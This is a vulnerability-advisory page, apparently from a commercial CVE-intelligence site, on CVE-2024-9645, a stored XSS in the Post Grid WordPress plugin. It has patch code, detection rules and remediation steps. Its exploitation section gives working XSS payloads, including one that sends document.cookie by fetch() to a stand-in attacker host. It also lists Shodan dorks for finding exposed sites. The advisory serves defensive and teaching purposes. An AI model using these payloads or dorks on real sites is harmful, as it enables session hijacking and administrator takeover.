☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-9645

CVE-2024-9645 Cross-Site Scripting in Pickplugins
📅 PUBLISHED: 2025-05-15 20:07 UTC 🔄 UPDATED: 2026-08-13 10:06 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.24%
👁️
0.24% probability
6.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-9645 is a Stored Cross-Site Scripting (XSS) vulnerability identified in the Post Grid, Posts Slider, Posts Carousel, Post Filter, Post Masonry WordPress plugin by Pickplugins. This plugin is widely used to create dynamic content layouts on WordPress sites. The vulnerability arises from insufficient validation and escaping of block options before they are output in a page or post where the block is embedded. An authenticated attacker with at least the Contributor role can inject arbitrary JavaScript into the plugin’s block settings, which will then execute in the browsers of any user viewing the affected page. This can lead to session hijacking, defacement, or redirection to malicious sites. The vendor has released version 2.2.93 to address this issue.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory. Users should ensure they are using the latest version from a trusted source. No supply chain compromise has been reported.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
  • Base Score: 6.1 (Medium)
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (Contributor role)
  • User Interaction: None
  • Scope: Changed (vulnerability impacts resources beyond the vulnerable component)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ability for a Contributor-level user to execute stored XSS can lead to significant downstream attacks, including privilege escalation to Administrator if an admin views the compromised page.

Deep Dive & Mechanics

The vulnerability exists in the block editor (Gutenberg) integration of the Post Grid plugin. The plugin registers custom blocks that allow users to configure various display options. These options are stored as attributes in the block’s JSON representation within the post content.

The flaw is in the render_block function or similar output function that processes these block attributes. The plugin fails to properly escape or sanitize certain block options (e.g., custom CSS classes, HTML attributes, or JavaScript event handlers) before outputting them directly into the HTML of the page. An attacker with Contributor access can craft a block with malicious JavaScript embedded in one of these unsanitized options. When the post is viewed, the script executes in the context of the victim’s browser.

Attack Flow:

  1. Attacker logs in as a Contributor.
  2. Creates or edits a post/page using the Post Grid block.
  3. Injects a payload like "><img src=x onerror=alert(1)> into a vulnerable block option (e.g., "Container Class" or "Item Class").
  4. Publishes or saves the post as a draft.
  5. Any user (including Administrators) viewing the post triggers the XSS payload.

Vulnerable vs. Patched Code

Vulnerable Code (version < 2.2.93):

// In a render function, e.g., render_block.php
$container_class = $attributes['containerClass'] ?? '';
echo '<div class="' . $container_class . '">'; // No escaping

Patched Code (version 2.2.93):

// In a render function, e.g., render_block.php
$container_class = $attributes['containerClass'] ?? '';
echo '<div class="' . esc_attr($container_class) . '">'; // Properly escaped

The fix uses esc_attr() to escape the attribute value, preventing the injection of additional HTML attributes or JavaScript.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • WordPress instance with Post Grid plugin version < 2.2.93.
  • User account with Contributor role or higher.

Steps:

  1. Log in as a Contributor.
  2. Create a new post.
  3. Add the "Post Grid" block.
  4. In the block settings, locate a vulnerable field (e.g., "Container Class").
  5. Inject the following payload:
    " autofocus onfocus="alert(document.cookie)
    
  6. Update the post.
  7. When an Administrator views the post, the XSS triggers, exfiltrating cookies.

Example Payload for Session Hijacking:

" onmouseover="fetch('https://attacker.com/steal?cookie='+document.cookie)

Blue Team (Detection & Hardening)

Detection:

  • Monitor for posts created by Contributor users containing suspicious HTML attributes in block content.
  • Use Web Application Firewall (WAF) rules to block common XSS patterns in post content.

Hardening:

  • Immediately update the plugin to version 2.2.93.
  • Restrict the Contributor role from using custom HTML/JavaScript in blocks if possible.
  • Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

  • Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
  • File: Modified post content in the wp_posts table containing <script> tags or event handlers like onfocus, onmouseover.
  • Log: WordPress audit logs showing post edits by Contributor users with unusual block attributes.
  • Browser: Unexpected pop-ups or redirects when viewing posts with Post Grid blocks.

Detection Engineering

YARA Rule

rule Detect_Post_Grid_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads targeting CVE-2024-9645 in WordPress post content"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-9645"
    strings:
        $payload1 = /on\w+\s*=\s*['"][^'"]*['"]/ nocase
        $payload2 = /<script[^>]*>.*<\/script>/i
        $payload3 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: Stored XSS via Post Grid Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in WordPress posts using the Post Grid plugin (CVE-2024-9645)
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url|contains: '/wp-admin/post.php'
        http.body|contains|all:
            - 'post-grid'
            - 'on'
            - '='
    condition: selection
falsepositives:
    - Legitimate use of event handlers in block settings (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-9645 Stored XSS in Post Grid Plugin"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"post-grid"; http_client_body; pcre:"/(on\w+\s*=\s*['\"][^'\"]*['\"])|(<script[^>]*>)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Update Plugin: Upgrade to version 2.2.93 or later from the WordPress Plugin Directory.
  2. Scan for Compromise: Check all posts/pages for injected XSS payloads using the YARA rule above.
  3. Reset Compromised Accounts: If any Administrator accounts were compromised, reset passwords and revoke session tokens.

Long-term Mitigations:

  • Implement a Web Application Firewall (WAF) with rules to block XSS.
  • Enforce Content Security Policy (CSP) headers.
  • Regularly audit user roles and permissions.
  • Subscribe to security advisories for all installed plugins.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Post Grid"
http.html:"post-grid"
http.html:"wp-content/plugins/post-grid"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-9645/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.